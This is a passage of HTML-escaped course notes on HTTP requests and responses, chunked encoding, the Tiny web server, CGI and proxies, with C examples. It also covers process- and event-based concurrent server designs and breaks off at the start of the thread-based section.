&lt;li&gt;Servers use suffix (&lt;code&gt;/index.html&lt;/code&gt;) to:
&lt;ul&gt;
&lt;li&gt;Determine if request is for static or dynamic content
&lt;ul&gt;
&lt;li&gt;No hard and fast rules for this&lt;/li&gt;
&lt;li&gt;One convention: executables reside in &lt;code&gt;cgi-bin&lt;/code&gt; directory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Find file on file system
&lt;ul&gt;
&lt;li&gt;Initial &lt;code&gt;/&lt;/code&gt; in suffix denotes home directory for requested content&lt;/li&gt;
&lt;li&gt;Minimal suffix is &lt;code&gt;/&lt;/code&gt;, which server expands to configured default filename (usually, &lt;code&gt;index.html&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;HTTP Requests&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HTTP request is a &lt;em&gt;request line&lt;/em&gt;, followed by zero or more &lt;em&gt;request headers&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Request line: &lt;code&gt;&amp;lt;method&amp;gt; &amp;lt;uri&amp;gt; &amp;lt;version&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;method&amp;gt;&lt;/code&gt; is one of &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;OPTIONS&lt;/code&gt;, &lt;code&gt;HEAD&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;, or &lt;code&gt;TRACE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;uri&amp;gt;&lt;/code&gt; is typically URL for proxies, URL suffix for servers
&lt;ul&gt;
&lt;li&gt;A URL is a type of &lt;strong&gt;URI (Uniform Resource Identifier)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ietf.org/rfc/rfc2396.txt&quot;&gt;https://www.ietf.org/rfc/rfc2396.txt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt; is HTTP version of request (&lt;code&gt;HTTP/1.0&lt;/code&gt; or &lt;code&gt;HTTP/1.1&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Request headers: &lt;code&gt;&amp;lt;header name&amp;gt;: &amp;lt;header data&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Provide additional information to the server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;HTTP Responses&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;HTTP response is a &lt;em&gt;response line&lt;/em&gt; followed by zero or more &lt;em&gt;response headers&lt;/em&gt;, possibly followed by &lt;em&gt;content&lt;/em&gt;, with blank line (&lt;code&gt;\r\n&lt;/code&gt;) separating headers from content&lt;/li&gt;
&lt;li&gt;Response line: &lt;code&gt;&amp;lt;version&amp;gt; &amp;lt;status code&amp;gt; &amp;lt;status msg&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt; is HTTP version of the response&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;status code&amp;gt;&lt;/code&gt; is numeric status&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;status msg&amp;gt;&lt;/code&gt; is corresponding English text
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;200 OK&lt;/code&gt; -- Request was handled without error&lt;/li&gt;
&lt;li&gt;&lt;code&gt;301 Moved&lt;/code&gt; -- Provide alternate URL&lt;/li&gt;
&lt;li&gt;&lt;code&gt;404 Not found&lt;/code&gt; -- Server couldn&apos;t find the file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Response headers: &lt;code&gt;&amp;lt;header name&amp;gt;: &amp;lt;header data&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Provide additional information about response&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Type&lt;/code&gt;: MIME type of content in response body&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Length&lt;/code&gt;: Length of content in response body&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Data Transfer Mechanisms&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Standard
&lt;ul&gt;
&lt;li&gt;Specify total length with content-length&lt;/li&gt;
&lt;li&gt;Requires that program buffer entire message&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Chunked
&lt;ul&gt;
&lt;li&gt;Break into blocks&lt;/li&gt;
&lt;li&gt;Prefix each block with number of bytes (Hex coded)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Chunked Encoding Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK\n
Date: Sun, 31 Oct 2010 20:47:48 GMT\n
Server: Apache/1.3.41 (Unix)\n
Keep-Alive: timeout=15, max=100\n
Connection: Keep-Alive\n
Transfer-Encoding: chunked\n
Content-Type: text/html\n
\r\n
d75\r\n
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
.&amp;lt;link href=&quot;http://www.cs.cmu.edu/style/calendar.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body id=&quot;calendar_body&quot;&amp;gt;
&amp;lt;div id=&apos;calendar&apos;&amp;gt;&amp;lt;table width=&apos;100%&apos; border=&apos;0&apos; cellpadding=&apos;0&apos; cellspacing=&apos;1&apos; id=&apos;cal&apos;&amp;gt;
...
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
\r\n
0\r\n
\r\n
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d75\r\n&lt;/code&gt; -- First Chunk: 0xd75 = 3445 bytes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0\r\n&lt;/code&gt; -- Second Chunk: 0 bytes (indicates last chunk)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Example HTTP Transaction&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;whaleshark&amp;gt; telnet www.cmu.edu 80             Client: open connection to server
Trying 128.2.42.52...                         Telnet prints 3 lines to terminal
Connected to WWW-CMU-PROD-VIP.ANDREW.cmu.edu.
Escape character is &apos;^]&apos;.
GET / HTTP/1.1                                Client: request line
Host: www.cmu.edu                             Client: required HTTP/1.1 header
                                              Client: empty line terminates headers
HTTP/1.1 301 Moved Permanently                Server: response line
Date: Wed, 05 Nov 2014 17:05:11 GMT           Server: followed by 5 response headers
Server: Apache/1.3.42 (Unix)                  Server: this is an Apache server
Location: http://www.cmu.edu/index.shtml      Server: page has moved here
Transfer-Encoding: chunked                    Server: response body will be chunked
Content-Type: text/html; charset=...          Server: expect HTML in response body
                                              Server: empty line terminates headers
15c                                           Server: first line in response body
&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;                                  Server: start of HTML content
...
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;                                Server: end of HTML content
0                                             Server: last line in response body
Connection closed by foreign host.            Server: closes connection
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;HTTP standard requires that each text line end with &lt;code&gt;\r\n&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Blank line (&lt;code&gt;\r\n&lt;/code&gt;) terminates request and response headers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tiny Web Server&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tiny Web server described in text
&lt;ul&gt;
&lt;li&gt;Tiny is a sequential Web server&lt;/li&gt;
&lt;li&gt;Serves static and dynamic content to real browsers&lt;/li&gt;
&lt;li&gt;239 lines of commented C code&lt;/li&gt;
&lt;li&gt;Not as complete or robust as a real Web server
&lt;ul&gt;
&lt;li&gt;You can break it with poorly-formed HTTP requests (e.g., terminate lines with &lt;code&gt;\n&lt;/code&gt; instead of &lt;code&gt;\r\n&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Operation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Accept connection from client&lt;/li&gt;
&lt;li&gt;Read request from client (via connected socket)&lt;/li&gt;
&lt;li&gt;Split into &lt;code&gt;&amp;lt;method&amp;gt; &amp;lt;uri&amp;gt; &amp;lt;version&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;If method not GET, then return error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If URI contains &lt;code&gt;cgi-bin&lt;/code&gt; then serve dynamic content
&lt;ul&gt;
&lt;li&gt;Would do wrong thing if had file &lt;code&gt;abcgi-bingo.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Fork process to execute program&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Otherwise serve static content
&lt;ul&gt;
&lt;li&gt;Copy file to output&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Serving Static Content&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void serve_static(int fd, char *filename, int filesize) {
  int srcfd;
  char *srcp, filetype[MAXLINE], buf[MAXBUF];

  /* Send response headers to client */
  get_filetype(filename, filetype);
  sprintf(buf, &quot;HTTP/1.0 200 OK\r\n&quot;);
  sprintf(buf, &quot;%sServer: Tiny Web Server\r\n&quot;, buf);
  sprintf(buf, &quot;%sConnection: close\r\n&quot;, buf);
  sprintf(buf, &quot;%sContent-length: %d\r\n&quot;, buf, filesize);
  sprintf(buf, &quot;%sContent-type: %s\r\n\r\n&quot;, buf, filetype);
  rio_writen(fd, buf, strlen(buf));

  /* Send response body to client */
  srcfd = open(filename, O_RDONLY, 0);
  srcp = mmap(0, filesize, PROT_READ, MAP_PRIVATE, srcfd, 0);
  close(srcfd);
  rio_writen(fd, srcp, filesize);
  munmap(srcp, filesize);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Serving Dynamic Content&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Client sends request to server&lt;/li&gt;
&lt;li&gt;If request URI contains the string &lt;code&gt;/cgi-bin&lt;/code&gt;, the Tiny server assumes that the request is for dynamic content&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.73u9i3gtdb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The server creates a child process and runs the program identified by the URI in that process&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1hsj48hkw0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The child runs and generates the dynamic content&lt;/li&gt;
&lt;li&gt;The server captures the content of the child and forwards it without modification to the client&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7snj247ym0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Issues in Serving Dynamic Content&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;How does the client pass program arguments to the server ?&lt;/li&gt;
&lt;li&gt;How does the server pass these arguments to the child ?&lt;/li&gt;
&lt;li&gt;How does the server pass other info relevant to the request to the child ?&lt;/li&gt;
&lt;li&gt;How does the server capture the content produced by the child ?&lt;/li&gt;
&lt;li&gt;These issues are addressed by the &lt;strong&gt;Common Gateway Interface (CGI)&lt;/strong&gt; specification&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6pntr8h24a.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;CGI&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Because the children are written according to the CGI spec, they are often called &lt;em&gt;CGI programs&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;However, CGI really defines a simple standard for transferring information between the client (browser), the server, and the child process&lt;/li&gt;
&lt;li&gt;CGI is the original standard for generating dynamic content. Has been largely replaced by other, faster techniques:
&lt;ul&gt;
&lt;li&gt;E.g., fastCGI, Apache modules, Java servlets, Rails controllers&lt;/li&gt;
&lt;li&gt;Avoid having to create process on the fly (expensive and slow)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Serving Dynamic Content With GET&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Client pass arguments to the server by appended the arguments to the URI&lt;/li&gt;
&lt;li&gt;Can be encoded directly in a URL typed to a browser or a URL in an HTML link
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://add.com/cgi-bin/adder?15213&amp;amp;18213&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;adder&lt;/code&gt; is the CGI program on the server that will do the addition&lt;/li&gt;
&lt;li&gt;Argument list starts with &lt;code&gt;?&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Arguments separated by &lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Spaces represented by &lt;code&gt;+&lt;/code&gt; or &lt;code&gt;%20&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;URL suffix: &lt;code&gt;cgi-bin/adder?15213&amp;amp;18213&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Result displayed on browser:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Welcome to add.com: THE Internet addition portal.

The answer is: 15213 + 18213 = 33426

Thanks for visiting!
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The server pass these arguments to the child by environment variable in &lt;code&gt;QUERY_STRING&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;A single string containing everything after the &lt;code&gt;?&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;For add: &lt;code&gt;QUERY_STRING = 15213&amp;amp;18213&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* Extract the two arguments */
if ((buf = getenv(&quot;QUERY_STRING&quot;)) != NULL) {
  p = strchr(buf, &apos;&amp;amp;&apos;);
  *p = &apos;\0&apos;;
  strcpy(arg1, buf);
  strcpy(arg2, p+1);
  n1 = atoi(arg1);
  n2 = atoi(arg2);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The child generates its output on &lt;strong&gt;stdout&lt;/strong&gt;. Server uses &lt;strong&gt;dup2&lt;/strong&gt; to redirect &lt;strong&gt;stdout&lt;/strong&gt; to its connected socket. So the server capture the content produced by the child&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void serve_dynamic(int fd, char *filename, char *cgiargs) {
  char buf[MAXLINE], *emptylist[] = { NULL };

  /* Return first part of HTTP response */
  sprintf(buf, &quot;HTTP/1.0 200 OK\r\n&quot;);
  rio_writen(fd, buf, strlen(buf));
  sprintf(buf, &quot;Server: Tiny Web Server\r\n&quot;);
  rio_writen(fd, buf, strlen(buf));

  if (fork() == 0) { /* Child */
    /* Real server would set all CGI vars here */
    setenv(&quot;QUERY_STRING&quot;, cgiargs, 1);
    dup2(fd, STDOUT_FILENO);              /* Redirect stdout to client */
    execve(filename, emptylist, environ); /* Run CGI program */
  }
  wait(NULL); /* Parent waits for and reaps child */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Notice that only the CGI child process knows the content type and length, so it must generate those headers&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* Make the response body */
sprintf(content, &quot;Welcome to add.com: &quot;);
sprintf(content, &quot;%sTHE Internet addition portal.\r\n&amp;lt;p&amp;gt;&quot;, content);
sprintf(content, &quot;%sThe answer is: %d + %d = %d\r\n&amp;lt;p&amp;gt;&quot;, content, n1, n2, n1 + n2);
sprintf(content, &quot;%sThanks for visiting!\r\n&quot;, content);

/* Generate the HTTP response */
printf(&quot;Content-length: %d\r\n&quot;, (int)strlen(content));
printf(&quot;Content-type: text/html\r\n\r\n&quot;);
printf(&quot;%s&quot;, content);
fflush(stdout);
exit(0);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Proxies&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;em&gt;proxy&lt;/em&gt; is an intermediary between a client and an origin server
&lt;ul&gt;
&lt;li&gt;To the client, the proxy acts like a server&lt;/li&gt;
&lt;li&gt;To the server, the proxy acts like a client&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.73u9i5t2mo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Why Proxies ?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Can perform useful functions as requests and responses pass by
&lt;ul&gt;
&lt;li&gt;Examples: Caching, logging, anonymization, filtering, transcoding&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3k8bscs4il.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;Concurrent Programming&lt;/h1&gt;
&lt;h2&gt;Concurrent Programming is Hard&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The human mind tends to be sequential&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The notion of time is often misleading&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Thinking about all possible sequences of events in a computer system is at least error prone and frequently impossible&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Classical problem classes of concurrent programs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Races: outcome depends on arbitrary scheduling decisions elsewhere in the system
&lt;ul&gt;
&lt;li&gt;Example: who gets the last seat on the airplane ?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Deadlock: improper resource allocation prevents forward progress
&lt;ul&gt;
&lt;li&gt;Example: traffic gridlock&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Livelock / Starvation / Fairness: external events and/or system scheduling decisions can prevent sub-task progress
&lt;ul&gt;
&lt;li&gt;Example: people always jump in front of you in line&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Iterative Servers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Iterative servers process one request at a time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1e8x710wyz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Second client attempts to connect to iterative server&lt;/li&gt;
&lt;li&gt;Call to &lt;strong&gt;connect&lt;/strong&gt; returns
&lt;ul&gt;
&lt;li&gt;Even though connection not yet accepted&lt;/li&gt;
&lt;li&gt;Server side TCP manager queues request&lt;/li&gt;
&lt;li&gt;Feature known as &quot;TCP listen backlog&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Call to &lt;strong&gt;rio_writen&lt;/strong&gt; returns
&lt;ul&gt;
&lt;li&gt;Server side TCP manager buffers input data&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Call to &lt;strong&gt;rio_readlineb&lt;/strong&gt; blocks
&lt;ul&gt;
&lt;li&gt;Server hasn&apos;t written anything for it to read yet&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3rbjo7ya1q.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Solution: use &lt;em&gt;concurrent servers&lt;/em&gt; instead
&lt;ul&gt;
&lt;li&gt;Concurrent servers use multiple concurrent flows to serve multiple clients at the same time&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Approaches for Writing Concurrent Servers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Process-based
&lt;ul&gt;
&lt;li&gt;Kernel automatically interleaves multiple logical flows&lt;/li&gt;
&lt;li&gt;Each flow has its own private address space&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Event-based
&lt;ul&gt;
&lt;li&gt;Programmer manually interleaves multiple logical flows&lt;/li&gt;
&lt;li&gt;All flows share the same address space&lt;/li&gt;
&lt;li&gt;Uses technique called I/O multiplexing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Thread-based
&lt;ul&gt;
&lt;li&gt;Kernel automatically interleaves multiple logical flows&lt;/li&gt;
&lt;li&gt;Each flow shares the same address space&lt;/li&gt;
&lt;li&gt;Hybrid of of process-based and event-based&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Process-based Servers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Spawn separate process for each client&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gopv35xfr.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Process-Based Concurrent Echo Server&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void sigchld_handler(int sig) {
  /* Reap all zombie children */
  while (waitpid(-1, 0, WNOHANG) &amp;gt; 0)
    ;
  return;
}

int main(int argc, char **argv) {
  int listenfd, connfd;
  socklen_t clientlen;
  struct sockaddr_storage clientaddr;

  signal(SIGCHLD, sigchld_handler);
  listenfd = open_listenfd(argv[1]);
  while (1) {
    clientlen = sizeof(struct sockaddr_storage);
    connfd = accept(listenfd, (SA *)&amp;amp;clientaddr, &amp;amp;clientlen);

    if (fork() == 0) {
      close(listenfd); /* Child closes its listening socket */
      echo(connfd);    /* Child services client */
      close(connfd);   /* Child closes connection with client */
      exit(0);         /* Child exits */
    }
    close(connfd); /* Parent closes connected socket (important!) */
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Process-based Server Execution Model&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1e8x71ngul.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each client handled by independent child process&lt;/li&gt;
&lt;li&gt;No shared state between them&lt;/li&gt;
&lt;li&gt;Both parent &amp;amp; child have copies of &lt;em&gt;listenfd&lt;/em&gt; and &lt;em&gt;connfd&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Parent must close &lt;em&gt;connfd&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Child should close &lt;em&gt;listenfd&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Issues with Process-based Servers&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Listening server process must reap zombie children to avoid fatal memory leak&lt;/li&gt;
&lt;li&gt;Parent process must &lt;strong&gt;close&lt;/strong&gt; its copy of &lt;em&gt;connfd&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Kernel keeps reference count for each socket/open file&lt;/li&gt;
&lt;li&gt;After fork, &lt;code&gt;refcnt(connfd) = 2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Connection will not be closed until &lt;code&gt;refcnt(connfd) = 0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Pros and Cons of Process-based Servers&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Handle multiple connections concurrently&lt;/li&gt;
&lt;li&gt;Clean sharing model
&lt;ul&gt;
&lt;li&gt;descriptors (no)&lt;/li&gt;
&lt;li&gt;file tables (yes)&lt;/li&gt;
&lt;li&gt;global variables (no)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Simple and straightforward&lt;/li&gt;
&lt;li&gt;Additional overhead for process control&lt;/li&gt;
&lt;li&gt;Nontrivial to share data between processes
&lt;ul&gt;
&lt;li&gt;Requires &lt;strong&gt;IPC (interprocess communication)&lt;/strong&gt; mechanisms
&lt;ul&gt;
&lt;li&gt;FIFO&apos;s (named pipes), System V shared memory and semaphores&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Event-based Servers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Server maintains set of active connections
&lt;ul&gt;
&lt;li&gt;Array of &lt;em&gt;connfd&lt;/em&gt;&apos;s&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Repeat:
&lt;ul&gt;
&lt;li&gt;Determine which descriptors (&lt;em&gt;connfd&lt;/em&gt;&apos;s or &lt;em&gt;listenfd&lt;/em&gt;) have pending inputs
&lt;ul&gt;
&lt;li&gt;e.g., using &lt;code&gt;select&lt;/code&gt; or &lt;code&gt;epoll&lt;/code&gt; functions&lt;/li&gt;
&lt;li&gt;arrival of pending input is an &lt;em&gt;event&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If &lt;em&gt;listenfd&lt;/em&gt; has input, then &lt;strong&gt;accept&lt;/strong&gt; connection and add new &lt;em&gt;connfd&lt;/em&gt; to array&lt;/li&gt;
&lt;li&gt;Service all &lt;em&gt;connfd&lt;/em&gt;&apos;s with pending inputs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;I/O Multiplexed Event Processing&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lhzoqkql.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Pros and Cons of Event-based Servers&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;One logical control flow and address space&lt;/li&gt;
&lt;li&gt;Can single-step with a debugger&lt;/li&gt;
&lt;li&gt;No process or thread control overhead
&lt;ul&gt;
&lt;li&gt;Design of choice for high-performance Web servers and search engines
&lt;ul&gt;
&lt;li&gt;E.g., Node.js, Nginx, Tornado&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Significantly more complex to code than process-based or thread-based designs&lt;/li&gt;
&lt;li&gt;Hard to provide fine-grained concurrency
&lt;ul&gt;
&lt;li&gt;E.g., How to deal with partial HTTP request headers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Cannot take advantage of multi-core
&lt;ul&gt;
&lt;li&gt;Single thread of control&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Thread-based Servers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Very similar to process-based approach
&lt;ul&gt;
&lt;li&gt;...but using threads instead of processes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Traditional View of a Process&lt;/h4&gt;
&lt;ul&gt;
